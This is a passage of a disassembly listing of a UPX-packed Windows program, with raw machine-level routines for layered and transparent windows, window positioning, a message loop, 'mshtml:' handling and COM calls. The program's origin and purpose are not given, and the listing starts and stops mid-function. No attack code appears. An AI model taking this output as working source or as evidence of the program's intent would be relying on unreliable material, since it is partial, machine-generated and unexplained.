		call	sub_40A2BB
		xor	esi, esi


loc_4177E0:				; CODE XREF: sub_417692+11Dj
		push	[esp+470h+var_3EC]
		call	dword_41D070	; SetEvent
		mov	ebx, [esp+470h+var_460]
		mov	edi, [esp+470h+var_45C]
		add	ebx, 4B0h
		adc	edi, esi


loc_4177FD:				; CODE XREF: sub_417692+111j
					; sub_417692+117j
		mov	eax, [esp+470h+var_45C]
		cmp	dword ptr [esp+470h+var_454], eax
		jg	loc_41788E
		jl	short loc_417817
		mov	eax, [esp+470h+var_460]
		cmp	dword ptr [esp+470h+var_458], eax
		ja	short loc_41788E


loc_417817:				; CODE XREF: sub_417692+179j
		cmp	[esp+470h+var_43C], esi
		jnz	short loc_417846
		mov	eax, [esp+470h+var_3FC]
		mov	[esp+470h+var_3CC], eax
		mov	eax, [esp+470h+var_3F4]
		mov	[esp+470h+var_3C8], eax
		lea	eax, [esp+470h+var_3CC]
		push	eax
		lea	esi, [esp+474h+var_440]
		call	sub_40A2BB
		xor	esi, esi


loc_417846:				; CODE XREF: sub_417692+189j
		push	[esp+470h+var_3FC]
		call	dword_41D070	; SetEvent
		mov	eax, [esp+470h+var_460]
		mov	ecx, [esp+470h+var_45C]
		add	eax, 0B4h
		adc	ecx, esi
		mov	dword ptr [esp+470h+var_454], ecx
		jmp	short loc_41788A
; ---------------------------------------------------------------------------


loc_417865:				; CODE XREF: sub_417692+EDj
					; sub_417692+FAj
		push	esi
		call	sub_40BB3D
		mov	ebx, eax
		pop	ecx
		mov	edi, edx
		add	ebx, 4B0h
		push	esi
		adc	edi, esi
		call	sub_40BB3D
		add	eax, 0B4h
		adc	edx, esi
		pop	ecx
		mov	dword ptr [esp+470h+var_454], edx


loc_41788A:				; CODE XREF: sub_417692+1D1j
		mov	dword ptr [esp+470h+var_458], eax


loc_41788E:				; CODE XREF: sub_417692+173j
					; sub_417692+183j
		push	3E8h
		call	dword_41D080	; Sleep


loc_417899:				; CODE XREF: sub_417692+E1j
		call	sub_4170DD
		test	al, al
		jz	loc_417778
		push	[esp+470h+var_3E4]
		mov	esi, dword_41D070
		mov	[esp+474h+var_3BC], 1
		call	esi ; dword_41D070
		push	[esp+470h+var_3F4]
		call	esi ; dword_41D070
		push	[esp+470h+var_404]
		call	esi ; dword_41D070


loc_4178C9:				; CODE XREF: sub_417692+242j
		push	1388h
		call	dword_41D080	; Sleep
		jmp	short loc_4178C9
sub_417692	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178D6	proc near		; CODE XREF: sub_4186D9+11Dp
		push	esi
		mov	esi, eax
		mov	edx, eax


loc_4178DB:				; CODE XREF: sub_4178D6+Ej
		mov	cl, [esi]
		mov	[edx], cl
		inc	edx
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_4178DB
		pop	esi
		retn
sub_4178D6	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178EC	proc near		; CODE XREF: sub_404BAF+2Fp

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	offset dword_41D430
		add	eax, 30h
		push	eax
		lea	ebx, [ebp+arg_4]
		call	sub_404C9D
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_1C]
		push	edx
		push	eax
		call	dword ptr [ecx+14h]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		xor	eax, eax
		pop	ebx
		leave
		retn	0Ch
sub_4178EC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	edi
		mov	edi, dword_41D318
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp-20h]
		push	eax
		mov	[ebp-4], ecx
		call	edi ; dword_41D318
		test	eax, eax
		jz	short loc_4179A8
		push	esi
		mov	esi, 100h


loc_417959:				; CODE XREF: UPX0:004179A5j
		lea	eax, [ebp-20h]
		push	eax
		call	dword_41D2D8	; TranslateMessage
		cmp	dword ptr [ebp-1Ch], 10h
		jz	short loc_4179A7
		cmp	dword ptr [ebp-1Ch], 0A1h
		jnz	short loc_417978
		cmp	dword ptr [ebp-18h], 14h
		jz	short loc_4179A7


loc_417978:				; CODE XREF: UPX0:00417970j
		cmp	[ebp-1Ch], esi
		jnz	short loc_417990
		push	dword ptr [ebp-14h]
		mov	eax, [ebp-4]
		push	dword ptr [ebp-18h]
		push	esi
		push	dword ptr [eax+4]
		call	dword_41D288	; SendMessageW


loc_417990:				; CODE XREF: UPX0:0041797Bj
		lea	eax, [ebp-20h]
		push	eax
		call	dword_41D26C	; DispatchMessageW
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp-20h]
		push	eax
		call	edi ; dword_41D318
		test	eax, eax
		jnz	short loc_417959


loc_4179A7:				; CODE XREF: UPX0:00417967j
					; UPX0:00417976j
		pop	esi


loc_4179A8:				; CODE XREF: UPX0:00417951j
		mov	eax, [ebp-18h]
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4179AF:				; DATA XREF: sub_418A96+12Do
		mov	eax, [esp+4]
		cmp	dword ptr [eax+8], 1
		push	esi
		push	edi
		mov	esi, ecx
		jnz	short loc_4179C4
		mov	eax, [eax]
		mov	edi, [eax+8]
		jmp	short loc_4179C7
; ---------------------------------------------------------------------------


loc_4179C4:				; CODE XREF: UPX0:004179BBj
		push	64h
		pop	edi


loc_4179C7:				; CODE XREF: UPX0:004179C2j
		push	0FFFFFFECh
		push	dword ptr [esi+4]
		call	dword_41D2CC	; GetWindowLongW
		or	eax, 80000h
		push	eax
		push	0FFFFFFECh
		push	dword ptr [esi+4]
		call	dword_41D2B4	; SetWindowLongW
		mov	eax, edi
		imul	eax, 0FFh
		push	2
		push	64h
		pop	ecx
		cdq
		idiv	ecx
		push	eax
		push	0
		push	dword ptr [esi+4]
		call	dword_41D29C	; SetLayeredWindowAttributes
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_417A04:				; DATA XREF: sub_418A96+101o
		push	2
		push	dword ptr [ecx+4]
		call	dword_41D298	; ShowWindow
		retn	8
; ---------------------------------------------------------------------------


loc_417A12:				; DATA XREF: sub_418A96+EBo
		mov	eax, [esp+4]
		cmp	dword ptr [eax+8], 1
		push	11h
		pop	edx
		jnz	short loc_417A24
		mov	eax, [eax]
		mov	edx, [eax+8]


loc_417A24:				; CODE XREF: UPX0:00417A1Dj
		push	0
		push	edx
		push	0A1h
		push	dword ptr [ecx+4]
		call	dword_41D330	; PostMessageW
		retn	8
; ---------------------------------------------------------------------------


loc_417A38:				; DATA XREF: sub_418A96+D5o
		push	0
		push	2
		push	0A1h
		push	dword ptr [ecx+4]
		call	dword_41D330	; PostMessageW
		retn	8
; ---------------------------------------------------------------------------


loc_417A4D:				; DATA XREF: sub_418A96+BFo
		mov	eax, [esp+4]
		mov	eax, [eax]
		push	dword ptr [eax+8]
		push	dword ptr [ecx+4]
		call	dword_41D280	; SetWindowTextW
		retn	8
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		or	edx, 0FFFFFFFFh
		cmp	dword ptr [eax+8], 1
		jnz	short loc_417A74
		mov	eax, [eax]
		mov	edx, [eax+8]


loc_417A74:				; CODE XREF: UPX0:00417A6Dj
		push	0
		push	edx
		push	10h
		push	dword ptr [ecx+4]
		call	dword_41D330	; PostMessageW
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417A85	proc near		; CODE XREF: UPX0:00402C5Bp
		push	20h
		mov	eax, offset loc_41BF7E
		call	sub_40C4D6
		mov	eax, [ebp+8]
		mov	esi, ecx
		mov	[ebp-2Ch], eax
		test	ebx, ebx
		jnz	short loc_417AA7
		mov	eax, 80004003h
		jmp	loc_417C0F
; ---------------------------------------------------------------------------


loc_417AA7:				; CODE XREF: sub_417A85+16j
		and	dword ptr [ebx], 0
		mov	dword ptr [ebp-24h], 80004005h
		mov	byte ptr [edi],	0
		test	esi, esi
		jz	loc_417C0D
		movzx	eax, word ptr [esi]
		test	ax, ax
		jz	loc_417C0D
		cmp	ax, 4Dh
		jz	short loc_417AD4
		cmp	ax, 6Dh
		jnz	short loc_417B48


loc_417AD4:				; CODE XREF: sub_417A85+47j
		movzx	eax, word ptr [esi+2]
		cmp	ax, 53h
		jz	short loc_417AE4
		cmp	ax, 73h
		jnz	short loc_417B48


loc_417AE4:				; CODE XREF: sub_417A85+57j
		movzx	eax, word ptr [esi+4]
		cmp	ax, 48h
		jz	short loc_417AF4
		cmp	ax, 68h
		jnz	short loc_417B48


loc_417AF4:				; CODE XREF: sub_417A85+67j
		movzx	eax, word ptr [esi+6]
		cmp	ax, 54h
		jz	short loc_417B04
		cmp	ax, 74h
		jnz	short loc_417B48


loc_417B04:				; CODE XREF: sub_417A85+77j
		movzx	eax, word ptr [esi+8]
		cmp	ax, 4Dh
		jz	short loc_417B14
		cmp	ax, 6Dh
		jnz	short loc_417B48


loc_417B14:				; CODE XREF: sub_417A85+87j
		movzx	eax, word ptr [esi+0Ah]
		cmp	ax, 4Ch
		jz	short loc_417B24
		cmp	ax, 6Ch
		jnz	short loc_417B48


loc_417B24:				; CODE XREF: sub_417A85+97j
		cmp	word ptr [esi+0Ch], 3Ah
		jnz	short loc_417B48
		push	ebx
		push	offset dword_424264
		push	1
		push	0
		push	offset dword_4242A4


loc_417B3A:				; CODE XREF: sub_417A85+DDj
		call	dword_41D398
		mov	byte ptr [edi],	1
		jmp	loc_417C05
; ---------------------------------------------------------------------------


loc_417B48:				; CODE XREF: sub_417A85+4Dj
					; sub_417A85+5Dj ...
		mov	eax, esi
		call	sub_401496
		test	eax, eax
		jz	short loc_417B64
		push	ebx
		push	offset dword_424264
		push	1
		push	0
		push	offset dword_4242B4
		jmp	short loc_417B3A
; ---------------------------------------------------------------------------


loc_417B64:				; CODE XREF: sub_417A85+CCj
		push	esi
		call	dword_41D1F0	; lstrlenW
		cmp	eax, 0FFh
		jge	loc_417C08
		cmp	word ptr [esi],	7Bh
		lea	eax, [ebp-20h]
		push	eax
		push	esi
		jnz	short loc_417B89
		call	dword_41D3A4
		jmp	short loc_417B8F
; ---------------------------------------------------------------------------


loc_417B89:				; CODE XREF: sub_417A85+FAj
		call	dword_41D3A0


loc_417B8F:				; CODE XREF: sub_417A85+102j
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp-24h], eax
		jl	short loc_417C08
		push	dword ptr [ebp-2Ch]
		call	dword_41D238
		test	eax, eax
		jz	short loc_417BF2
		mov	[ebp-28h], esi
		lea	eax, [ebp-28h]
		push	eax
		push	offset dword_4242C4
		push	esi
		push	1
		lea	eax, [ebp-20h]
		push	eax
		mov	[ebp-4], esi
		call	dword_41D3B8
		cmp	eax, esi
		mov	[ebp-24h], eax
		jl	short loc_417BDF
		mov	eax, [ebp-28h]
		mov	ecx, [eax]
		push	ebx
		push	dword ptr [ebp-2Ch]
		push	offset dword_424264
		push	esi
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	[ebp-24h], eax


loc_417BDF:				; CODE XREF: sub_417A85+141j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-28h]
		cmp	eax, esi
		jz	short loc_417C08
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_417C08
; ---------------------------------------------------------------------------


loc_417BF2:				; CODE XREF: sub_417A85+11Ej
		push	ebx
		push	offset dword_424264
		push	1
		push	esi
		lea	eax, [ebp-20h]
		push	eax
		call	dword_41D398


loc_417C05:				; CODE XREF: sub_417A85+BEj
		mov	[ebp-24h], eax


loc_417C08:				; CODE XREF: sub_417A85+EBj
					; sub_417A85+111j ...
		mov	eax, [ebp-24h]
		jmp	short loc_417C0F
; ---------------------------------------------------------------------------


loc_417C0D:				; CODE XREF: sub_417A85+31j
					; sub_417A85+3Dj
		xor	eax, eax


loc_417C0F:				; CODE XREF: sub_417A85+1Dj
					; sub_417A85+186j
		call	sub_40C520
		retn
sub_417A85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C15	proc near		; CODE XREF: sub_404BAF+41p
					; UPX0:00417C3Ap ...

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D34C	; GetClientRect
		add	esi, 30h
		push	esi
		lea	eax, [ebp+var_10]
		call	sub_401867
		pop	esi
		leave
		retn
sub_417C15	endp

; ---------------------------------------------------------------------------
		call	sub_417C15
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417C42:				; DATA XREF: sub_418A96+117o
		push	esi
		xor	eax, eax
		mov	esi, ecx
		cmp	[esi+38h], al
		setz	al
		lea	eax, [eax+eax+1]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D298	; ShowWindow
		cmp	byte ptr [esi+38h], 0
		setz	al
		mov	[esi+38h], al
		mov	eax, esi
		call	sub_417C15
		pop	esi
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C70	proc near		; DATA XREF: sub_418A96+8Fo

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+8], 3
		mov	eax, [esi]
		mov	ebx, ecx
		mov	ecx, [eax+18h]
		mov	eax, [eax+8]
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_417CA7
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	30h
		call	dword_41D2C4	; SystemParametersInfoW
		jmp	short loc_417CD9
; ---------------------------------------------------------------------------


loc_417CA7:				; CODE XREF: sub_417C70+23j
		push	dword ptr [ebx+4]
		mov	edi, dword_41D33C
		call	edi ; dword_41D33C
		push	eax
		call	dword_41D294	; IsWindow
		test	eax, eax
		jz	short loc_417CC8
		push	dword ptr [ebx+4]
		call	edi ; dword_41D33C
		lea	ecx, [ebp+var_20]
		push	ecx
		jmp	short loc_417CD2
; ---------------------------------------------------------------------------


loc_417CC8:				; CODE XREF: sub_417C70+4Bj
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D2AC	; GetDesktopWindow


loc_417CD2:				; CODE XREF: sub_417C70+56j
		push	eax
		call	dword_41D314	; GetWindowRect


loc_417CD9:				; CODE XREF: sub_417C70+35j
		mov	eax, [esi+8]
		cmp	eax, 2
		jnz	short loc_417D06
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+var_4]
		add	eax, [ebp+var_20]
		cdq
		sub	eax, edx
		mov	esi, eax
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+arg_0]
		sar	esi, 1
		add	eax, [ebp+var_14]
		cdq
		sub	eax, edx
		mov	edi, eax
		sar	edi, 1
		jmp	loc_417E59
; ---------------------------------------------------------------------------


loc_417D06:				; CODE XREF: sub_417C70+6Fj
		push	4
		pop	ebx
		cmp	eax, 3
		jnz	loc_417DE2
		mov	esi, [esi]
		movzx	edi, word ptr [esi+20h]
		cmp	di, 8
		jnz	loc_417DC2
		mov	eax, [esi+28h]
		mov	ecx, offset aRightbottom ; "rightbottom"


loc_417D2A:				; CODE XREF: sub_417C70+D8j
		mov	dx, [eax]
		cmp	dx, [ecx]
		jnz	short loc_417D4E
		test	dx, dx
		jz	short loc_417D4A
		mov	dx, [eax+2]
		cmp	dx, [ecx+2]
		jnz	short loc_417D4E
		add	eax, ebx
		add	ecx, ebx
		test	dx, dx
		jnz	short loc_417D2A


loc_417D4A:				; CODE XREF: sub_417C70+C5j
		xor	eax, eax
		jmp	short loc_417D53
; ---------------------------------------------------------------------------


loc_417D4E:				; CODE XREF: sub_417C70+C0j
					; sub_417C70+CFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_417D53:				; CODE XREF: sub_417C70+DCj
		test	eax, eax
		jnz	short loc_417D65
		mov	esi, [ebp+var_18]
		mov	edi, [ebp+var_14]
		sub	esi, [ebp+var_4]
		sub	edi, [ebp+arg_0]
		jmp	short loc_417DC8
; ---------------------------------------------------------------------------


loc_417D65:				; CODE XREF: sub_417C70+E5j
		cmp	di, 8
		jnz	short loc_417DC2
		mov	esi, [esi+28h]
		mov	eax, offset aCenter ; "center"


loc_417D73:				; CODE XREF: sub_417C70+121j
		mov	cx, [esi]
		cmp	cx, [eax]
		jnz	short loc_417D97
		test	cx, cx
		jz	short loc_417D93
		mov	cx, [esi+2]
		cmp	cx, [eax+2]
		jnz	short loc_417D97
		add	esi, ebx
		add	eax, ebx
		test	cx, cx
		jnz	short loc_417D73


loc_417D93:				; CODE XREF: sub_417C70+10Ej
		xor	eax, eax
		jmp	short loc_417D9C
; ---------------------------------------------------------------------------


loc_417D97:				; CODE XREF: sub_417C70+109j
					; sub_417C70+118j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_417D9C:				; CODE XREF: sub_417C70+125j
		test	eax, eax
		jnz	short loc_417DC2
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+var_4]
		add	eax, [ebp+var_20]
		cdq
		sub	eax, edx
		mov	esi, eax
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+arg_0]
		sar	esi, 1
		add	eax, [ebp+var_14]
		cdq
		sub	eax, edx
		mov	edi, eax
		sar	edi, 1
		jmp	short loc_417DC8
; ---------------------------------------------------------------------------


loc_417DC2:				; CODE XREF: sub_417C70+ACj
					; sub_417C70+F9j ...
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_0]


loc_417DC8:				; CODE XREF: sub_417C70+F3j
					; sub_417C70+150j
		mov	eax, [ebp+var_8]
		push	20h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	edi
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [eax+4]
		call	dword_41D2A4	; SetWindowPos
		jmp	short loc_417E59
; ---------------------------------------------------------------------------


loc_417DE2:				; CODE XREF: sub_417C70+9Cj
		cmp	eax, ebx
		jnz	short loc_417DF6
		mov	esi, [esi]
		mov	edi, [esi+28h]
		mov	esi, [esi+38h]
		add	edi, [ebp+var_1C]
		add	esi, [ebp+var_20]
		jmp	short loc_417E59
; ---------------------------------------------------------------------------


loc_417DF6:				; CODE XREF: sub_417C70+174j
		cmp	eax, 5
		jnz	short loc_417E53
		mov	eax, [esi]
		cmp	word ptr [eax+40h], 8
		jnz	short loc_417E53
		mov	eax, [eax+48h]
		mov	ecx, offset aMouse ; "mouse"


loc_417E0C:				; CODE XREF: sub_417C70+1BAj
		mov	dx, [eax]
		cmp	dx, [ecx]
		jnz	short loc_417E30
		test	dx, dx
		jz	short loc_417E2C
		mov	dx, [eax+2]
		cmp	dx, [ecx+2]
		jnz	short loc_417E30
		add	eax, ebx
		add	ecx, ebx
		test	dx, dx
		jnz	short loc_417E0C


loc_417E2C:				; CODE XREF: sub_417C70+1A7j
		xor	eax, eax
		jmp	short loc_417E35
; ---------------------------------------------------------------------------


loc_417E30:				; CODE XREF: sub_417C70+1A2j
					; sub_417C70+1B1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_417E35:				; CODE XREF: sub_417C70+1BEj
		test	eax, eax
		jnz	short loc_417E53
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41D2A0	; GetCursorPos
		mov	esi, [esi]
		mov	edi, [esi+28h]
		mov	esi, [esi+38h]
		add	edi, [ebp+var_C]
		add	esi, [ebp+var_10]
		jmp	short loc_417E59
; ---------------------------------------------------------------------------


loc_417E53:				; CODE XREF: sub_417C70+189j
					; sub_417C70+192j ...
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_0]


loc_417E59:				; CODE XREF: sub_417C70+91j
					; sub_417C70+170j ...
		push	1
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	edi
		push	esi
		mov	esi, [ebp+var_8]
		push	dword ptr [esi+4]
		call	dword_41D270	; MoveWindow
		mov	eax, esi
		call	sub_417C15
		push	5
		push	dword ptr [esi+4]
		call	dword_41D298	; ShowWindow
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_417C70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E88	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_423C1C
		xor	edx, edx
		repe cmpsd
		mov	eax, 80004002h
		jz	short loc_417EB4
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_424394
		xor	edx, edx
		repe cmpsd
		jnz	short loc_417EC7


loc_417EB4:				; CODE XREF: sub_417E88+19j
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx-24h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		xor	eax, eax


loc_417EC7:				; CODE XREF: sub_417E88+2Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_417E88	endp


; =============== S U B	R O U T	I N E =======================================



sub_417ECD	proc near		; CODE XREF: UPX0:00417FD1p
		push	34h
		mov	eax, offset loc_41BFAB
		call	sub_40C46D
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-40h]
		call	sub_40518A
		mov	esi, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-40h]
		add	esi, 3Ch
		push	eax
		mov	eax, esi
		mov	[ebp+0Ch], esi
		call	sub_405DF5
		mov	ebx, eax
		mov	[ebp-10h], ebx
		test	esi, esi
		jnz	short loc_417F0A
		call	sub_40B27B


loc_417F0A:				; CODE XREF: sub_417ECD+36j
		mov	eax, [esi]
		mov	ecx, [esi+18h]
		lea	edi, [ebp-1Ch]
		lea	esi, [ebp-14h]
		mov	[ebp-14h], eax
		mov	[ebp-18h], ecx
		mov	[ebp-1Ch], eax
		call	sub_4052D2
		test	al, al
		jnz	short loc_417F88
		cmp	dword ptr [ebx+28h], 8
		mov	esi, [ebx+24h]
		jb	short loc_417F35
		mov	eax, [ebx+14h]
		jmp	short loc_417F38
; ---------------------------------------------------------------------------


loc_417F35:				; CODE XREF: sub_417ECD+61j
		lea	eax, [ebx+14h]


loc_417F38:				; CODE XREF: sub_417ECD+66j
		mov	edi, [ebp-2Ch]
		mov	edx, edi
		cmp	edi, esi
		jb	short loc_417F43
		mov	edx, esi


loc_417F43:				; CODE XREF: sub_417ECD+72j
		cmp	dword ptr [ebp-28h], 8
		mov	ecx, [ebp-3Ch]
		jnb	short loc_417F4F
		lea	ecx, [ebp-3Ch]


loc_417F4F:				; CODE XREF: sub_417ECD+7Dj
		test	edx, edx
		jbe	short loc_417F62


loc_417F53:				; CODE XREF: sub_417ECD+93j
		mov	bx, [ecx]
		cmp	bx, [eax]
		jnz	short loc_417F7A
		inc	ecx
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_417F53


loc_417F62:				; CODE XREF: sub_417ECD+84j
		xor	eax, eax


loc_417F64:				; CODE XREF: sub_417ECD+B9j
		test	eax, eax
		jnz	short loc_417F73
		cmp	edi, esi
		jb	short loc_417F88
		cmp	edi, esi
		setnz	al
		test	eax, eax


loc_417F73:				; CODE XREF: sub_417ECD+99j
		jl	short loc_417F88
		lea	eax, [ebp-14h]
		jmp	short loc_417F99
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417ECD+8Cj
		mov	cx, bx
		cmp	cx, [eax]
		sbb	eax, eax
		and	eax, 0FFFFFFFEh
		inc	eax
		jmp	short loc_417F64
; ---------------------------------------------------------------------------


loc_417F88:				; CODE XREF: sub_417ECD+58j
					; sub_417ECD+9Dj ...
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax+18h]
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], ecx
		lea	eax, [ebp-1Ch]


loc_417F99:				; CODE XREF: sub_417ECD+ABj
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	0
		push	1
		lea	esi, [ebp-40h]
		mov	[ebp-24h], ecx
		mov	[ebp-20h], eax
		call	sub_4055BC
		lea	esi, [ebp-24h]
		call	sub_4057C9
		mov	eax, [eax+20h]
		call	sub_40C50C
		retn	8
sub_417ECD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [esp+0Ch]
		push	dword ptr [eax]
		mov	eax, [esp+8]
		add	eax, 0FFFFFFDCh
		push	eax
		call	sub_417ECD
		mov	ecx, [esp+18h]
		mov	[ecx], eax
		xor	eax, eax
		retn	18h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FE1	proc near		; CODE XREF: sub_408E29+CEp
					; UPX0:004094F0p ...

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		lea	edx, [ebp+var_4]
		lea	esi, [edi+34h]
		mov	eax, [esi]
		mov	ecx, [eax]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jge	short loc_418037
		push	offset dword_4242D4
		add	edi, 30h
		push	edi
		lea	ebx, [ebp+var_8]
		call	sub_404C9D
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+48h]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	esi
		push	offset dword_424384
		push	eax
		call	dword ptr [ecx]
		mov	esi, [esi]
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		call	dword ptr [eax+1Ch]


loc_418037:				; CODE XREF: sub_417FE1+1Cj
		call	off_42A000
		mov	eax, [ebp+arg_0]
		lea	edx, [ebp+var_14]
		push	edx
		push	800h
		push	1
		lea	edx, [ebp+var_10]
		push	edx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	offset dword_41D440
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		jl	loc_41811B
		mov	esi, [ebp+arg_4]
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		xor	ecx, ecx
		push	10h
		pop	edx
		mov	eax, esi
		mul	edx
		seto	cl
		mov	[ebp+var_1C], esi
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_40AC06
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+var_24], eax
		test	esi, esi
		jle	short loc_4180EA
		xor	edi, edi


loc_418099:				; CODE XREF: sub_417FE1+107j
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+ebx*4]
		lea	esi, [ebp+arg_0]
		call	sub_4011E3
		mov	eax, [ebp+var_24]
		lea	esi, [edi+eax+8]
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_4180CE
		cmp	[ebp+arg_0], eax
		jz	short loc_4180CC
		push	[ebp+arg_0]
		call	dword_41D258
		push	eax
		push	[ebp+arg_0]
		call	dword_41D244


loc_4180CC:				; CODE XREF: sub_417FE1+D6j
		mov	[esi], eax


loc_4180CE:				; CODE XREF: sub_417FE1+D1j
		mov	ecx, [ebp+var_24]
		push	8
		pop	eax
		push	[ebp+arg_0]
		mov	[edi+ecx], ax
		call	dword_41D25C
		inc	ebx
		add	edi, 10h
		cmp	ebx, [ebp+arg_4]
		jl	short loc_418099


loc_4180EA:				; CODE XREF: sub_417FE1+B4j
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		mov	[ebp+var_18], ecx
		mov	edx, [eax]
		lea	ecx, [ebp+var_24]
		push	ecx
		push	1
		push	800h
		push	offset dword_41D440
		push	[ebp+var_14]
		push	eax
		call	dword ptr [edx+18h]
		push	[ebp+var_24]
		mov	esi, eax
		call	sub_40B36B
		pop	ecx
		mov	eax, esi


loc_41811B:				; CODE XREF: sub_417FE1+81j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_417FE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418122	proc near		; CODE XREF: sub_408D98+3Dp
					; sub_408D98+54p ...
		push	3Ch
		mov	eax, offset loc_41BFCE
		call	sub_40C46D
		mov	esi, ecx
		mov	eax, [esi+58h]
		push	dword ptr [ebp+8]
		add	eax, 186A0h
		mov	[ebp-2Ch], eax
		mov	eax, [ebp+10h]
		mov	[ebp-24h], eax
